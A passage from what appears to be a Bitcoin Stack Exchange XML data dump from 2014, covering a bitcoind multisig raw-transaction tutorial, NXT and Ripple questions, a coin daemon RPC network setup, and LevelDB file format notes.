largest value (here 0.00140400) as the input in our transaction when we create our raw transaction. So here the index is equal to 1. In this same transaction we’ll need the value for the key “hex” within “scriptPubKey. It’s too much to go into detail here as to what this value represents, if you’re interested in learning about one of the more fascinating parts of the bitcoin protocol start reading here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=377604.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=377604.0&lt;/a&gt;. At a high level, the scriptPubKey “hex” value is a hexadecimal encoding of the script that gets run as part of a transaction input in order to verify that the transaction is valid. Anyways, the value for “hex” we want is thus a91480cff499983050ec4268d749a1f898bec53e9fc287&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember when we created the multisig address one of the values that was returned was something called the “redeemScript”? Hopefully you copied and pasted that somewhere because we’ll need that to create our raw transaction as well. This also is used to verify that the transaction is valid and can thus be passed around by nodes when it is broadcasted to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, here comes the most confusing part coding-wise; we’re going to do some relatively low-level bitcoin operations that are what is actually going on when you send coins from one address to another, though with the added complication of using a multisig address. We’re going to use the transaction hash, the index in the vout array we just found, the scriptPubKey, the redeemScript, as well as a bitcoin address which will receive a certain amount of coins we specify. Enter the following into the Terminal exactly as I have written, replacing  with the transaction hash,  with 1,  with the scriptPubKey,  with the redeemScript,  with the address you want to send these bitcoins to (I used one of the three I created at the start), and (you guessed it)  with the amount you want to send. Don't forget to account for a roughly 0.0001 transaction fee. Be warned that the warnings you’ll get are not very descriptive, so make sure you follow this layout exactly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind createrawtransaction '[{&quot;txid”:”&amp;lt;txid&amp;gt;&quot;,&quot;vout”:&amp;lt;vindex&amp;gt;,&quot;scriptPubKey”:”&amp;lt;scriptPubKey&quot;,&quot;redeemScript”:”&amp;lt;redeemScript&amp;gt;&quot;}]' ‘{“&amp;lt;sentToAddress”:&amp;lt;amount&amp;gt;}'’&#xA;&#xA;&#xA;01000000016bab25b998c84634e0b977b43fa56ce1da473ae14f98a065b59e9075c69fc20a0100000000ffffffff0160fd0100000000001976a9145eed147e77af70c64c31c056c3b3474c79c65da088ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That command just returned a raw hex-encoded transaction, this is the collection of bytes that bitcoin clients broadcast to the network, and which contain the information necessary to verify that the outputs being used as input in the transaction are valid. But right now this transaction is NOT valid, because it has not been signed by at least two of the private keys that are associated with this multisig address. Let’s do that now. We’re going to take this raw hex transaction, most of the information we just entered in the previous command, and the private key of the first address we created and sign the transaction. The command looks like this, where you’ll replace  with the output of the previous command, and  with the private key of the first address we created (remember, the one we obtained by running “bitcoind dumprivkey ”?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind signrawtransaction ‘&amp;lt;rawhextransaction&amp;gt;' '[{&quot;txid”:”&amp;lt;txid&amp;gt;&quot;,&quot;vout”:&amp;lt;vindex&amp;gt;,&quot;scriptPubKey”:”&amp;lt;scriptPubKey&quot;,&quot;redeemScript”:”&amp;lt;redeemScript&amp;gt;&quot;}]' ‘[“&amp;lt;privkeyone&amp;gt;”]'&#xA;&#xA;&#xA;{&#xA;    &quot;hex&quot; :     &quot; &quot;,&#xA;    &quot;complete&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’ll note that the “complete” key is false. That’s because we’ve only provided one of the two signatures we need to make this a valid transaction. The value for “hex” is hexadecimal representation of the raw transaction we created, but with one signature included. Next we’re going to take the transaction with one signature and sign it with the private key of the second address we created. The Terminal command is very similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind signrawtransaction ‘&amp;lt;onesigrawtransaction&amp;gt;' '[{&quot;txid”:”&amp;lt;txid&amp;gt;&quot;,&quot;vout”:&amp;lt;vindex&amp;gt;,&quot;scriptPubKey”:”&amp;lt;scriptPubKey&quot;,&quot;redeemScript”:”&amp;lt;redeemScript&amp;gt;&quot;}]' ‘[“&amp;lt;privkeytwo&amp;gt;”]'&#xA;&#xA;{&#xA;    &quot;hex&quot; : &quot; &quot;,&#xA;    &quot;complete&quot; : true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’re probably happy to note that “complete” is now true. We now have only one more step! We’re going to take the output of this last command, which is a valid and fully signed transaction sending bitcoins from a multisig address to an address you specifying, and send it off using the “sendrawtransaction” command, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind sendrawtransaction &amp;lt;fullysignedtransaction&amp;gt;&#xA;&#xA;bc26380619a36e0ecbb5bae4eebf78d8fdef24ba5ed5fd040e7bff37311e180d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, this will return the transaction hash for the transaction you just sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That’s it! You can use blockchain.info to see that transaction on the network. Now you know how multisig addresses are created, how to send money to multisig addresses, and most importantly how to spend those bitcoins. Now please, go out and help make wallet software that implements multisig transactions in a user friendly way.&lt;/p&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="13376" LastEditDate="2019-04-28T01:29:48.877" LastActivityDate="2019-04-28T01:29:48.877" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28353" PostTypeId="2" ParentId="28339" CreationDate="2014-07-08T09:23:52.093" Score="3" Body="&lt;p&gt;It is a known bug, just restart the client and/or switch to another server in the Network window (green dot in the bottom right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't fix the 'Unverified -1 confirmation error' try deleting the block_headers folder on your Electrum directory -&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=330626.msg5292794#msg5292794&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=330626.msg5292794#msg5292794&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2014-07-08T22:39:20.233" LastActivityDate="2014-07-08T22:39:20.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28354" PostTypeId="1" AcceptedAnswerId="29453" CreationDate="2014-07-08T11:39:41.320" Score="0" ViewCount="1175" Body="&lt;p&gt;This question is related to question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11104/what-is-the-database-for/11108#11108&quot;&gt;What is the database for?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is size in MB of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blockchain itsef - blocks/blk*.dat&lt;/li&gt;&#xA;&lt;li&gt;blocks/index/*&lt;/li&gt;&#xA;&lt;li&gt;chainstate/*&lt;/li&gt;&#xA;&lt;li&gt;blocks/rev*.dat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is the size of chainstate and index proportional to blockchain size?&lt;/p&gt;&#xA;" OwnerUserId="5385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-07-13T19:55:05.560" Title="What is current size of various databases in Bitcoin Core as of July 2014?" Tags="|blockchain|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28356" PostTypeId="2" ParentId="28330" CreationDate="2014-07-08T14:30:44.340" Score="1" Body="&lt;p&gt;Stratum is not HTTP, it's a protocol designed directly on top of TCP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use an existing load balancer that works on the TCP level, directing new TCP connection attempts to backend servers. After a client is connected it keeps talking to the same backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Stratum work is related to one connection. Proofs of work from clients must be sent over the same connection where the work data was previously received. There can be no confusion about jobs, and there is no need to open more than one connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no need for the load balancer to look at individual stratum requests, or even to understand the stratum protocol. It might be an advantage for the load balancer to be able to tell a client to reconnect to get it over on a different backend, if the backend it is on is overloaded. In this case you'd need to create your own stratum load balancing software - you couldn't use a generic load balancer for this. I'm not sure if such a feature is really important though. Disconnecting a client is probably just as effective if you want it to reconnect to the same IP address anyway (the IP address of the load balancer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, assuming your mining server software is somewhat efficient, a single server would be able to run even the biggest mining pool today. So a setup like this is probably only useful for failover, not so much for balancing load.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-07-08T14:30:44.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28357" PostTypeId="1" AcceptedAnswerId="29431" CreationDate="2014-07-08T14:40:10.857" Score="0" ViewCount="809" Body="&lt;p&gt;Basically, I have 20 GH/s running on p2pool I've had no pay out for about 4 days which seems a long time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time to share is also 110 hours and stays at 110 hours. It never drops and so am getting 0 shares in 5 days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically my question is this normal? will it suddenly kick in or is there something wrong with my setup. &lt;/p&gt;&#xA;" OwnerUserId="18524" LastEditorUserId="15412" LastEditDate="2014-07-08T18:39:24.057" LastActivityDate="2014-07-12T10:26:33.167" Title="How long should I expect to wait for payout on p2pool" Tags="|p2pool|pool-payout-methods|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28358" PostTypeId="1" CreationDate="2014-07-08T15:39:39.997" Score="0" ViewCount="2781" Body="&lt;p&gt;I have multiple decrypted wallets in the same folder. How can I find out which wallet belongs to which cryptocoin? All wallets are named wallet_x.dat, so the name gives no hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I have no access to the addresses within the wallet, because I can't import them, because I don't know which client I would need.&lt;/p&gt;&#xA;" OwnerUserId="18525" LastEditorUserId="18525" LastEditDate="2014-07-09T21:54:54.820" LastActivityDate="2014-07-09T21:54:54.820" Title="How can I find out which wallet belongs to which cryptocoin?" Tags="|wallet|alternatives|wallet.dat|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ClosedDate="2014-07-10T20:21:33.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="28359" PostTypeId="2" ParentId="28351" CreationDate="2014-07-08T17:40:24.860" Score="3" Body="&lt;p&gt;I am a developer for NXT and am currently programming an automated defense system for the network, aside from this if a forger is DDOS'd my understanding is that the network will skip to the next node and not process the block the attacked node produce(s/d). &lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-07-08T17:40:24.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28360" PostTypeId="2" ParentId="28290" CreationDate="2014-07-08T17:51:32.157" Score="2" Body="&lt;p&gt;The deadline field is the amount of time in minutes/blocks (1440, or one day being the default) for the transaction to complete. If it is not completed in that time period you receive a &quot;refund&quot; from the network and the alias will not be registered to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common mistake is to set the deadline to 10, or an even lower number reducing the odds of your transaction going through.&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-07-08T17:51:32.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28361" PostTypeId="2" ParentId="28247" CreationDate="2014-07-08T17:56:45.720" Score="2" Body="&lt;p&gt;Deleting, updating and delisting are not supported now.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-08T17:56:45.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28362" PostTypeId="2" ParentId="28350" CreationDate="2014-07-08T18:05:36.513" Score="2" Body="&lt;p&gt;Transactions are being included into blocks in 1 minute in average. Longer you wait - higher a chance that a double-spending won't happen. There is no such a number that guarantees 100% irreversibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 confirmation is not secure at all. 10 confirmations is recommended for small amounts, 720 confirmations - for big ones.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-08T18:05:36.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28363" PostTypeId="1" AcceptedAnswerId="29421" CreationDate="2014-07-08T18:07:33.240" Score="1" ViewCount="152" Body="&lt;p&gt;I know bitcoind lets you have multiple outputs (sending to multiple address) via the command line. Does NXT support this feature? I want to create a faucet application where I can send to multiple addresses via a cron while only paying 1 transaction fee only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what is the max number of addresses you can send to via NXT if this is possible? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-09-08T22:58:42.553" Title="How can my NXT client/server send to multiple addresses paying one 1 transaction fee?" Tags="|multi-signature|nxt|faucets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28364" PostTypeId="2" ParentId="28351" CreationDate="2014-07-08T18:12:23.143" Score="3" Body="&lt;p&gt;Transparent Forging tells where to send transactions to but it doesn't force to use the same node for generation of blocks. In the worst case the next block will be empty. Empty blocks still secure the blockchain with already included transactions.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-08T18:12:23.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28365" PostTypeId="2" ParentId="28338" CreationDate="2014-07-08T18:12:50.380" Score="3" Body="&lt;p&gt;For a transaction to be processed it &lt;strong&gt;must&lt;/strong&gt; use the very next available sequence number (as returned by &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#account_info&quot; rel=&quot;nofollow noreferrer&quot;&gt;account_info&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;If an otherwise valid signed transaction has a sequence number too small (matching a previously used sequence number), then the transaction is guaranteed to never be valid and will produce an error and should be discarded by servers receiving it.&lt;/p&gt;&#xA;&lt;p&gt;If an otherwise valid signed transaction uses a sequence number (currently) too high, then the transaction is not currently valid and will produce an error but the transaction may become valid (and a server may retain and automatically attempt to apply the transaction at that time). As well anything that has seen the signed transaction could replay it once the &amp;quot;missing&amp;quot; sequence numbers on the account are used. Such transactions are referred to as &lt;em&gt;in-flight&lt;/em&gt; and their outcome is undetermined until either the account has a transaction with that sequence number included in a fully validated ledger (possibly a &lt;a href=&quot;https://ripple.com/wiki/Transactions#Use_as_a_NOP&quot; rel=&quot;nofollow noreferrer&quot;&gt;No-OP transaction&lt;/a&gt; just to consume/advance the sequence number) or a fully validated ledger with a ledger sequence at least as high as the &lt;a href=&quot;https://ripple.com/wiki/Transactions#Basic_Transaction_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;LastLedgerSequence&lt;/a&gt; specified in the signed transaction is seen.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://ripple.com/wiki/Transactions#Use_as_a_NOP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ripple.com/wiki/Transactions#Use_as_a_NOP&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When multiple transactions are yet to be finalized (known to be in-flight), and a local error occurs such that there are following transactions in-flight, the following transactions will temporarily fail until the sequence number used by the local failure is consumed. A transaction is in-flight if it hasn't been included in a fully-validated ledger, but also isn't guaranteed not to be.&lt;/p&gt;&#xA;&lt;p&gt;…&lt;/p&gt;&#xA;&lt;p&gt;The in-flight transactions may be later replayed by anyone who has them. It is important for predictability and reliability to consume the sequence number of the bad transaction and replay the in-flight transactions until they are finalized.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And from &lt;a href=&quot;https://ripple.com/wiki/Transactions#Basic_Transaction_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ripple.com/wiki/Transactions#Basic_Transaction_Format&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;LastLedgerSequence (optional)&lt;/p&gt;&#xA;&lt;p&gt;Highest valid ledger number that a transaction can appear in. If this is specified, and the transaction is not included by the time the ledger reaches the specified ledger sequence number, then the transaction is considered to have failed and will no longer be valid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So specificly,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example, if I have one Payment Tx with Sequence 123, and then want to create another transaction with a Sequence 200, will it go through?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Not until transactions with sequence 124 through 199 go through. Until then servers will report a &amp;quot;missing sequence number&amp;quot; error on such transactions. Until some transaction with sequence 200 is applied to your account you cannot know that something somewhere won't re-submit your &amp;quot;old&amp;quot; signed payment transaction the moment they see your sequence 199 transaction (i.e. even though you get an error the transaction could be applied later).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, I understand that the transaction Sequence numbers cannot be descending, so I couldn't submit a Tx with a Sequence of 100.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Such a transaction will always get a &amp;quot;past sequence number&amp;quot; error and never be valid.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-07-08T18:12:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28366" PostTypeId="1" AcceptedAnswerId="28367" CreationDate="2014-07-08T18:14:08.263" Score="3" ViewCount="442" Body="&lt;p&gt;Whenever someone brings up NXT (nxtcoin) as a topic, many people's first reaction is the initial distribution of how nxt was setup. Many consider this a &quot;premine&quot; event and see it as a potential failure in the coin itself as the initial 75 stakeholders controlled the majority of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some arguments that one can give to help clarify this way of distribution? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-08T19:03:27.390" Title="What are some counter arguments for NXT (nxtcoin) &quot;premine&quot; or initial distribution setup?" Tags="|wealth-distribution|proof-of-stake|nxt|" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-31T13:58:45.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="28367" PostTypeId="2" ParentId="28366" CreationDate="2014-07-08T18:31:54.393" Score="4" Body="&lt;p&gt;Arguments of Nxt creator are written here - &lt;a href=&quot;https://nxtforum.org/initial-distribution/initial-distribution-of-100-pos-currencies/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/initial-distribution/initial-distribution-of-100-pos-currencies/&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Initial distribution of the coins and the forging schedule are more&#xA;  serious problems than they appear at first glance. A 100%&#xA;  proof-of-stake currency needs at least a small part of the coins to be&#xA;  distributed in the beginning because these coins is the only forging&#xA;  instrument. A forging schedule has a lot of influence on initial&#xA;  distribution and must be defined in the first place.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The PoS algorithm used in Nxt has such properties that give a little&#xA;  advantage to an account that holds more coins comparing to an account&#xA;  with a lower amount. If every block subsidizes the forger with extra&#xA;  coins (in addition to the fees) then bigger accounts become even&#xA;  bigger by following the compound interest curve. In a currency with&#xA;  selfish forgers most of the coins would be absorbed by very few&#xA;  accounts that would lead to centralization of the currency. Because of&#xA;  this all the coin in Nxt were distributed at once in the genesis&#xA;  block.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bootstrapping requires to make a decision how to do the initial&#xA;  distribution. We consider three main schemes, any other scheme can be&#xA;  represented as a combination of them.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The first scheme – all the coins go to a single account controlled by&#xA;  one entity that transfers coins to the others in exchange for work&#xA;  done for development and promotion of the currency. This scheme is&#xA;  completely unacceptable because it’s not “compatible” to decentralized&#xA;  nature of cryptocurrencies.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The second scheme – all the coins are split equally among a group of&#xA;  people. This approach faces some problems. A Sybil attack can be&#xA;  easily conducted by an entity to acquire a significant part of the&#xA;  coins. Such a counterattack as usage of a certification service can’t&#xA;  be used because majority of potential users won’t agree to reveal&#xA;  their true identities. Another possible counterattack, based on&#xA;  proof-of-resources approach, can’t give “fair” distribution because&#xA;  the resources are distributed in “unfair” way. Anyway, even if the&#xA;  Sybil attack could be significantly mitigated, the second scheme is a&#xA;  bad choice because the history of humankind teaches us that an economy&#xA;  driven society where all individuals own equal amount of resources is&#xA;  unsustainable and even utopian. (Note by CfB: It would be interesting&#xA;  to hear opinion of NEM guys on this issue…)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The third scheme – all the coins are distributed in “chaotic” way.&#xA;  This scheme doesn’t have disadvantages of the previous ones, no&#xA;  centralization, no necessity to deanonymize users, no need to&#xA;  counteract Sybil attacks. Economy and sociology sciences state that&#xA;  distribution of the coins will follow the Pareto 80-20 principle. An&#xA;  important note should be made. The fact that (almost?) all the&#xA;  societies conform to this principle assures that the third scheme is&#xA;  the best one. The Pareto principle seems to be a result of universal&#xA;  but yet unknown laws of nature. If the distribution follows the&#xA;  principle then with high probability we can assume that our system&#xA;  will sustain for a long period of time. The previous schemes will&#xA;  transform into “80% of coins belongs to 20% of entities” systems&#xA;  anyway, but the third scheme has such an advantage that it doesn’t&#xA;  need to survive the period of instability.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;According to the described above logic Nxt was created by issuing all&#xA;  the coins at once and distributing them by following the last&#xA;  distribution scheme.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Initial distribution has two properties – percentages and number of&#xA;  participants. Common sense says that number of participants should be&#xA;  as large as possible.  This seems to be true, but we should take into&#xA;  account that every system has three main stages of the progress –&#xA;  bootstrapping, normal functioning and decaying. We consider only the&#xA;  first two because our goal is to create an ever-functioning system.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We shouldn’t ignore the lessons of history. Societies created by a lot&#xA;  of people are abnormal phenomena. Number of participants in the very&#xA;  beginning should be rather small than large. This is an arguable&#xA;  statement but disputes on the issue lay out of the scope of this&#xA;  paper. The creator of Nxt preferred a small number of “founders”&#xA;  because he had no possibility to do several experiments on finding the&#xA;  best number nor he had time to build a theory that could predict this&#xA;  number. The most stable economic systems were always bootstrapped by a&#xA;  few people (feods, corporations, etc.) so it was safer to follow a&#xA;  similar way.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now, half a year after the launch of Nxt we see that it didn’t die and&#xA;  keeps growing at fast pace. This lets us guess that the choice of&#xA;  BCNext was a correct one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18526" LastEditorUserId="18526" LastEditDate="2014-07-08T19:03:27.390" LastActivityDate="2014-07-08T19:03:27.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28368" PostTypeId="2" ParentId="28252" CreationDate="2014-07-08T18:53:53.467" Score="1" Body="&lt;p&gt;The new Reed-Solomon account number for Nxt Cryptocurrency will always start with NXT and is much easier to say. I imagine them on a piece of plastic like a credit card...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts can also be represented by an alias which can be used to receive transactions.&lt;/p&gt;&#xA;" OwnerUserId="18528" LastActivityDate="2014-07-08T18:53:53.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28369" PostTypeId="1" CreationDate="2014-07-08T19:03:39.973" Score="2" ViewCount="191" Body="&lt;p&gt;So far I've seen only two sets of people using crypto currencies:&#xA;1. Who does illegal things (like black money/drug trading etc)&#xA;2. Who sees them as shortcut to become rich&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what are the other motivations for common people to adopt? I earlier read that crypto currencies only have deflation and no inflation, but I don't think that is true because if a new crypto currency gets launched with better features, people may shift to the new currency and existing currency price may go down.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-07-09T00:21:56.687" Title="What are the biggest motivations for common people to adopt crypto currencies?" Tags="|currencies|adoption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28371" PostTypeId="2" ParentId="27063" CreationDate="2014-07-08T20:14:40.697" Score="1" Body="&lt;p&gt;I finally sorted this out, so I'm back 17 days later to answer my own question. I also wrote a short &lt;a href=&quot;http://unclebubs.net/blog/mining-with-multiple-computers-in-your-network/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; about the steps, should anyone else need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the basic steps. The coin is referred to as Coin, as this works with all sha256 coins, and probably (untested by me) Scrypt variants as well. If not, the process will be very similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, your coin.conf file should look something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemon=1&#xA;server=1&#xA;listen=1&#xA;gen=1&#xA;rpcuser=uncle_bubs&#xA;rpcpassword=your_mother&#xA;rpcallowip=127.0.0.1&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your coin.conf file, add the line &lt;code&gt;rcpallowip=12.34.56.789&lt;/code&gt;, replacing the IP address with the address of the computer you want to allow, or more simply &lt;code&gt;rpcallowip=192.168.1.*&lt;/code&gt; to allow any IP address on your network. You can have as many &lt;code&gt;rpcallowip&lt;/code&gt; lines as you want. &lt;strong&gt;Note that doing this will send your password unencrypted over the network&lt;/strong&gt;, so it’s not recommended except within a secure network that you control.&lt;/li&gt;&#xA;&lt;li&gt;Make sure your firewall is allowing incoming connections to coin-qt.exe.&lt;/li&gt;&#xA;&lt;li&gt;Start &lt;code&gt;coin-qt.exe -server&lt;/code&gt; on your server, and give it a moment to get caught up. (You should have the blockchain current before starting).&lt;/li&gt;&#xA;&lt;li&gt;On your second computer, go into your router’s admin settings and look at the connected devices. This is usually done by entering &lt;code&gt;192.168.1.1&lt;/code&gt; in a browser. You’ll need the router username and password to get in.&lt;/li&gt;&#xA;&lt;li&gt;Look for the computer running your server. Mine was &lt;code&gt;192.168.1.8&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now add that IP address and computer to the list of reserved addresses. The reason is that even if you leave your computer plugged into the same router all the time, it sometimes shuffles IP addresses unexpectedly. This is normally not a problem, but you need a fixed IP address to connect to. This step ensures your server always has the same IP address.&lt;/li&gt;&#xA;&lt;li&gt;Finally, start your second miner, using the new address and port obtained from your router settings. Mine was &lt;code&gt;192.168.1.8:8332&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11638" LastEditorUserId="11638" LastEditDate="2014-07-08T20:26:27.887" LastActivityDate="2014-07-08T20:26:27.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28372" PostTypeId="1" AcceptedAnswerId="29724" CreationDate="2014-07-08T20:57:18.110" Score="1" ViewCount="366" Body="&lt;p&gt;Since &lt;a href=&quot;http://nxt.org/cryptocurrency/faqs-about-nxt-cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt; and &lt;a href=&quot;https://openbazaar.org/&quot; rel=&quot;nofollow&quot;&gt;OpenBazaar&lt;/a&gt; are building a decentralized marketplace, how would this work since there is no middle party to mediate if an issue arises?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some proposed solutions to a decentralized marketplace so far?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2014-08-20T20:35:44.627" LastActivityDate="2014-08-20T20:35:44.627" Title="How would the OpenBazaar or NXT decentralized marketplace / eBay / Craigslist work?" Tags="|nxt|marketplace|openbazaar|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28374" PostTypeId="2" ParentId="28168" CreationDate="2014-07-08T21:32:29.630" Score="5" Body="&lt;p&gt;OK I know I shouldn't really answer my own question but... in the absence of a response to this question, I did a bit of hunting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Github provided the answer in a file found in the &lt;a href=&quot;https://github.com/bitcoin/leveldb&quot; rel=&quot;noreferrer&quot;&gt;bitcoin-leveldb&lt;/a&gt; repository. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path to a text file containing the information &lt;code&gt;leveldb-&amp;gt;doc-&amp;gt;table_format.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there is no easily describable table like structure. There are several, shall I call them &quot;nested&quot; structures in the database including the fact that the database physically stores the data in seperate logical files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;table_format.txt&lt;/code&gt; file contents as of this post. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;File format&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;beginning_of_file&amp;gt;&#xA;  [data block 1]&#xA;  [data block 2]&#xA;  ...&#xA;  [data block N]&#xA;  [meta block 1]&#xA;  ...&#xA;  [meta block K]&#xA;  [metaindex block]&#xA;  [index block]&#xA;  [Footer]        (fixed size; starts at file_size - sizeof(Footer))&#xA;  &amp;lt;end_of_file&amp;gt;&#xA;&#xA;The file contains internal pointers.  Each such pointer is called&#xA;a BlockHandle and contains the following information:&#xA;  offset:       varint64&#xA;  size:         varint64&#xA;See https://developers.google.com/protocol-buffers/docs/encoding#varints&#xA;for an explanation of varint64 format.&#xA;&#xA;(1) The sequence of key/value pairs in the file are stored in sorted&#xA;order and partitioned into a sequence of data blocks.  These blocks&#xA;come one after another at the beginning of the file.  Each data block&#xA;is formatted according to the code in block_builder.cc, and then&#xA;optionally compressed.&#xA;&#xA;(2) After the data blocks we store a bunch of meta blocks.  The&#xA;supported meta block types are described below.  More meta block types&#xA;may be added in the future.  Each meta block is again formatted 